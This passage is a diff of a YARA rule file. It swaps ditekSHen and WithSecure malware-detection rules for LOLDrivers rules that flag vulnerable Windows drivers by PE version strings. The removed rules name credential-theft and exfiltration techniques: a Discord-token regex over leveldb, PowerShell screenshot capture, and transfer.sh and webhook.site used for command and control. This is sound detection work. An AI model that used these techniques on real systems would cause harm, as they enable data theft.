+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9724488ca2ba4c787640c49131f4d1daae5bd47d6b2e7e5f9e8918b1d6f655be"
+		hash = "a66d2fb7ef7350ea74d4290c57fb62bc59c6ea93f759d4ca93c3febca7aeb512"
+		hash = "e77786b21dbe73e9619ac9aac5e7e92989333d559aa22b4b65c97f0a42ff2e21"
+		hash = "8ed0c00920ce76e832701d45117ed00b12e20588cb6fe8039fbccdfef9841047"
+		logic_hash = "f48f9cb6cc160c9fd749a73001a904ab727e33704064f4220a56671b89ce0f5a"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = { 55 00 00 00 aa 00 00 00 92 49 24 00 49 24 92 00
-                24 92 49 00 00 00 00 00 11 00 00 00 22 00 00 00
-                33 00 00 00 44 00 00 00 66 00 00 00 88 00 00 00
-                99 00 00 00 bb 00 00 00 cc 00 00 00 dd 00 00 00
-                ee 00 00 00 ff 00 00 00 6d b6 db 00 b6 db 6d 00
-                db 6d b6 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e0037003400360035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e0037003400360035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310034 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWS_Capturescreenshot
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_7133 : FILE
 {
 	meta:
-		description = "Detects PowerShell script with screenshot capture capability"
-		author = "ditekSHen"
-		id = "d769936a-a81d-5052-8b1b-7bd5a73b41db"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2367-L2379"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "26e02d7dc242fb2c913b3a7c07e92c84becad62a4cdbae781bce948bfe0eb81b"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "1d9df905-34d9-5503-b08d-ea4ff2cd826a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3781-L3800"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129"
+		logic_hash = "7abc5f0325fa8552b38499b061dd10f6a4cdb56ba1071446ce6ca91e42b8c9f7"
 		score = 40
-		quality = 45
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$encoder = ".ImageCodecInfo]::GetImageEncoders(" ascii nocase
-		$capture1 = ".Sendkeys]::SendWait(\"{PrtSc}\")" ascii nocase
-		$capture2 = ".Sendkeys]::SendWait('{PrtSc}')" ascii nocase
-		$access = ".Clipboard]::GetImage(" ascii nocase
-		$save = ".Save(" ascii nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		$encoder and (1 of ($capture*) and ($access or $save))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWS_Capturebrowserplugins
+rule LOLDRIVERS_PUA_VULN_Driver_Lgelectronicsinc_Lhasys_Microsoftwindowsoperatingsystem_23BA : FILE
 {
 	meta:
-		description = "Detects PowerShell script with browser plugins capture capability"
-		author = "ditekSHen"
-		id = "9b1bb195-6e32-5f93-ba70-efcb21b26bb0"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2381-L2394"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ac7be8663507e96ecb224f7f09f9092069eab5967598e33c107fa341de86bc77"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LHA.sys"
+		author = "Florian Roth"
+		id = "8af33121-526d-5f4c-8cde-6e427f36ad97"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3803-L3823"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "23ba19352b1e71a965260bf4d5120f0200709ee8657ed381043bec9a938a1ade"
+		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
+		logic_hash = "fcc57907a8653acc1175b486f719f029ba3c982dbc73ab0cd878f08b2fcb0aad"
 		score = 40
-		quality = 45
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "$env:APPDATA +" ascii nocase
-		$s2 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}|mfa\\.[\\w-]{84}" ascii nocase
-		$s3 = "\\leveldb" ascii nocase
-		$o1 = ".Match(" ascii nocase
-		$o2 = ".Contains(" ascii nocase
-		$o3 = ".Add(" ascii nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c00480041 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c004700200045006c0065006300740072006f006e00690063007300200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c00480041002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c00480041002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0075006c00740072006100620069006f007300400068006f0074006d00610069006c002e0063006f006d }
 
 	condition:
-		2 of ($s*) and 2 of ($o*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_IMG_Embedded_B64_EXE : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elitegroupcomputersystems_Ecsiodriversys_Ecsiodriver_2705 : FILE
 {
 	meta:
-		description = "Detects images with specific base64 markers and/or embedding (reversed) base64-encoded executables"
-		author = "ditekSHen"
-		id = "c620b461-5ad8-530b-a3e1-f75a9e30534e"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2396-L2413"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0fe1328aba3b30820e3885c87a93e52306bd25abc5912378a12e1213a686cd39"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ecsiodriverx64.sys"
+		author = "Florian Roth"
+		id = "08f5ad86-8243-5591-9cc4-88bc0a0160fa"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3826-L3845"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "270547552060c6f4f5b2ebd57a636d5e71d5f8a9d4305c2b0fe5db0aa2f389cc"
+		logic_hash = "899c58fe4793270c3e314e2c3f04c1341b6fefedba37d53200e5477f1108a5cf"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$m1 = "<<BASE64_START>>" ascii
-		$m2 = "<<BASE64_END>>" ascii
-		$m3 = "BASE64_START" ascii
-		$m4 = "BASE64_END" ascii
-		$m5 = "BASE64-START" ascii
-		$m6 = "BASE64-END" ascii
-		$m7 = "BASE64START" ascii
-		$m8 = "BASE64END" ascii
-		$h1 = "TVqQA" ascii
-		$h2 = "AQqVT" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045004300530049006f004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00690074006500670072006f0075007000200043006f006d00700075007400650072002000530079007300740065006d0073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045004300530049006f004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0045004300530049006f004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045004300530049006f004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d003200300031003000200045006c00690074006500670072006f0075007000200043006f006d00700075007400650072002000530079007300740065006d0073002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( uint32(0)==0xd8ff or uint32(0)==0x474e5089 or uint16(0)==0x4d42) and ((2 of ($m*)) or (1 of ($h*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Transfersh_URL : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_8D33 : FILE
 {
 	meta:
-		description = "Detects files referencing the transfer.sh file sharing website"
-		author = "ditekSHen"
-		id = "15c6ba05-199d-52ba-98bf-7e8a8eda0295"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2415-L2423"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "45b16f853bcd9c492468bc478d0a7eeecd261ae47b5b00bb1e4a79788fdec7a1"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "f7b27f03-ea78-5f2c-8b48-ea62c495cb89"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3848-L3868"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8d3347c93dff62eecdde22ccc6ba3ce8c0446874738488527ea76d0645341409"
+		hash = "31ffc8218a52c3276bece1e5bac7fcb638dca0bc95c2d385511958abdbe4e4a5"
+		logic_hash = "9868c2b401562623484d7bc00700332a754380b25b05cb95f38a8b242e7f59fa"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "//transfer.sh/get/" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310032002e0031003000310038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310032002e0031003000310038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]003300360030786c4ef659275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100320020003300360030002e0063006e }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Publicserviceinterface : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Computerzsys_Ludashisystemdriver_C586 : FILE
 {
 	meta:
-		description = "Detect executables referencing public and free service interface testing and dev services as means of CnC"
-		author = "ditekSHen"
-		id = "f6ac752b-0afc-5834-82b4-4dbcfded2f3a"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2450-L2461"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2a7b4fe7ddb41a7ae895a2ac8e9bb5eda61f5b86ca35575be32d65611e2d0a9e"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "a407037f-0b6e-56a9-9562-592a2e0954c7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3871-L3891"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c586befc3fd561fcbf1cf706214ae2adaa43ce9ba760efd548d581f60deafc65"
+		hash = "dda2a604bb94a274e23f0005f0aa330d45ca1ea25111746fb46fa5ef6d155b1d"
+		logic_hash = "761661cb4ab100aad58ca83f20dd3eb25173bb6c987a7643ca93b91e90f25409"
 		score = 40
-		quality = 37
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "mockbin.org/bin" ascii wide nocase
-		$s2 = "run.mocky.io/v3" ascii wide nocase
-		$s3 = "webhook.site/" ascii wide nocase
-		$s4 = "devtunnels.ms/" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0039002e0031003100300035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0039002e0031003100300035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: WithSecureLabs
- * Repository: https://github.com/WithSecureLabs/iocs
- * Retrieval Date: 2024-08-04
- * Git Commit: 29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c
- * Number of Rules: 5
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * BSD 2-Clause License
-
-Copyright (c) [2022], [WithSecure Oyj]
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-   list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-import "pe"
-
-rule WITHSECURELABS_SILKLOADER
+rule LOLDRIVERS_PUA_VULN_Driver_Logmeininc_Lmiinfosys_Logmein_453B : FILE
 {
 	meta:
-		description = "Detects SILKLOADER samples"
-		author = "WithSecure"
-		id = "bb8a543e-fdbf-5be1-901e-3e2a9965fd62"
-		date = "2023-03-15"
-		modified = "2023-03-15"
-		reference = "https://labs.withsecure.com/publications/silkloader"
-		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/SILKLOADER/silkloader.yar#L2-L20"
-		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
-		logic_hash = "48aa249ea78e5a3bfe9934fd0dfa26b79f9e6cbe1e5b1426b84f8d8a3d77d742"
-		score = 75
-		quality = 75
-		tags = ""
-		version = "1.0"
-		hash1 = "c83ac6dc96febd49c7c558e8cf85dd8bcb3a84fdc78b3ba72ebf681566dc1865"
-		hash2 = "e4dadabd1cee7215ff6e31e01f6b0dd820851685836592a14f982f2c7972fc25"
-		hash3 = "d77a59e6ba3a8f3c000a8a8955af77d2898f220f7bf3c0968bf0d7c8ac25a5ad"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LMIinfo.sys"
+		author = "Florian Roth"
+		id = "50e671ec-752c-5494-97bc-bd29cd7452f1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3894-L3913"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "453be8f63cc6b116e2049659e081d896491cf1a426e3d5f029f98146a3f44233"
+		logic_hash = "1940aec392f250b22b8480d7b75f0c1a21c7bad13c0e83a4eb6065b3d045e4cd"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$str1 = {5400520041004e005300460045005200}
-		$str2 = {760062006300630073006200}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f0067004d00650049006e0020004b00650072006e0065006c00200049006e0066006f0072006d006100740069006f006e002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f0067004d00650049006e002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f0067004d00650049006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033002d00320030003100370020004c006f0067004d00650049006e002c00200049006e0063002e00200050006100740065006e00740065006400200061006e006400200070006100740065006e00740073002000700065006e00640069006e0067002e }
 
 	condition:
-		pe.is_pe and pe.characteristics&pe.DLL and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule WITHSECURELABS_Ducktail_Artifacts : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_76AF : FILE
 {
 	meta:
-		description = "Detects artifacts found in files associated to DUCKTAIL malware"
-		author = "WithSecure"
-		id = "937c9688-b74f-5e02-838f-ab6757a8d2a1"
-		date = "2022-07-18"
-		modified = "2022-07-26"
-		reference = "https://labs.withsecure.com/publications/ducktail"
-		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/DUCKTAIL/ducktail_artifacts.yar#L1-L20"
-		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
-		logic_hash = "1daa5e654058c802826b6a306b5bfc9d0c05c4ee54607e94e618a8d409ce74d9"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "f89b7e66-c5d6-576b-8487-1530a3e37121"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3916-L3935"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "76af3f9fa111d694e37058606f2636430bdd378c85b94f426fbfcd6666ebe6cc"
+		logic_hash = "d4031de065552af6807677430ee6aa17fb754052f6fdeb147db0105bd235acd8"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		version = "1.0"
-		hash1 = "3dbd9e1c3d0fd6358d4adcba04fdfc0b6e8acc49"
-		hash2 = "9370243589327b458486e3f7637779c2a96b4250"
-		hash3 = "b98170b18b906aee771dbd4dbd31e5963a90a50e"
 
 	strings:
-		$pdb_path_1 = /[a-z]\:\\projects\\(viruttest|virot)\\/i nocase ascii
-		$pdb_path_2 = /[a-z]\:\\users\\ductai\\/i nocase ascii
-		$pdb_path_3 = "\\dataextractor.pdb" nocase ascii
-		$email = "ductai2308@gmail.com" wide ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e003700300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003000380020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule WITHSECURELABS_Ducktail_Nativeaot : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_1284 : FILE
 {
 	meta:
-		description = "Detects NativeAOT variants of DUCKTAIL malware"
-		author = "WithSecure"
-		id = "1961d3e1-987b-588b-bfc2-8239797cd049"
-		date = "2022-11-17"
-		modified = "2022-11-22"
-		reference = "https://labs.withsecure.com/publications/ducktail_returns"
-		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/DUCKTAIL/ducktail_nativeaot.yara#L2-L22"
-		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
-		logic_hash = "976b28ac45e5a13d4ce900b857e6bd3afc82b65b0235791fd698b762287cd60e"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		id = "673660ad-6d19-5b50-b467-ea6a5a00fa76"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3938-L3957"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1284a1462a5270833ec7719f768cdb381e7d0a9c475041f9f3c74fa8eea83590"
+		logic_hash = "2453f457e43fd2dade465a33189f8ae41ca5ebd16d9a9c42d8edaf22ca990916"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		version = "1.0"
-		hash1 = "b043e4639f89459cae85161e6fbf73b22470979e"
-		hash2 = "073b092bf949c31628ee20f7458067bbb05fda3a"
-		hash3 = "d1f6b5f9718a2fe9eaac0c1a627228d3f3b86f87"
+
+	strings:
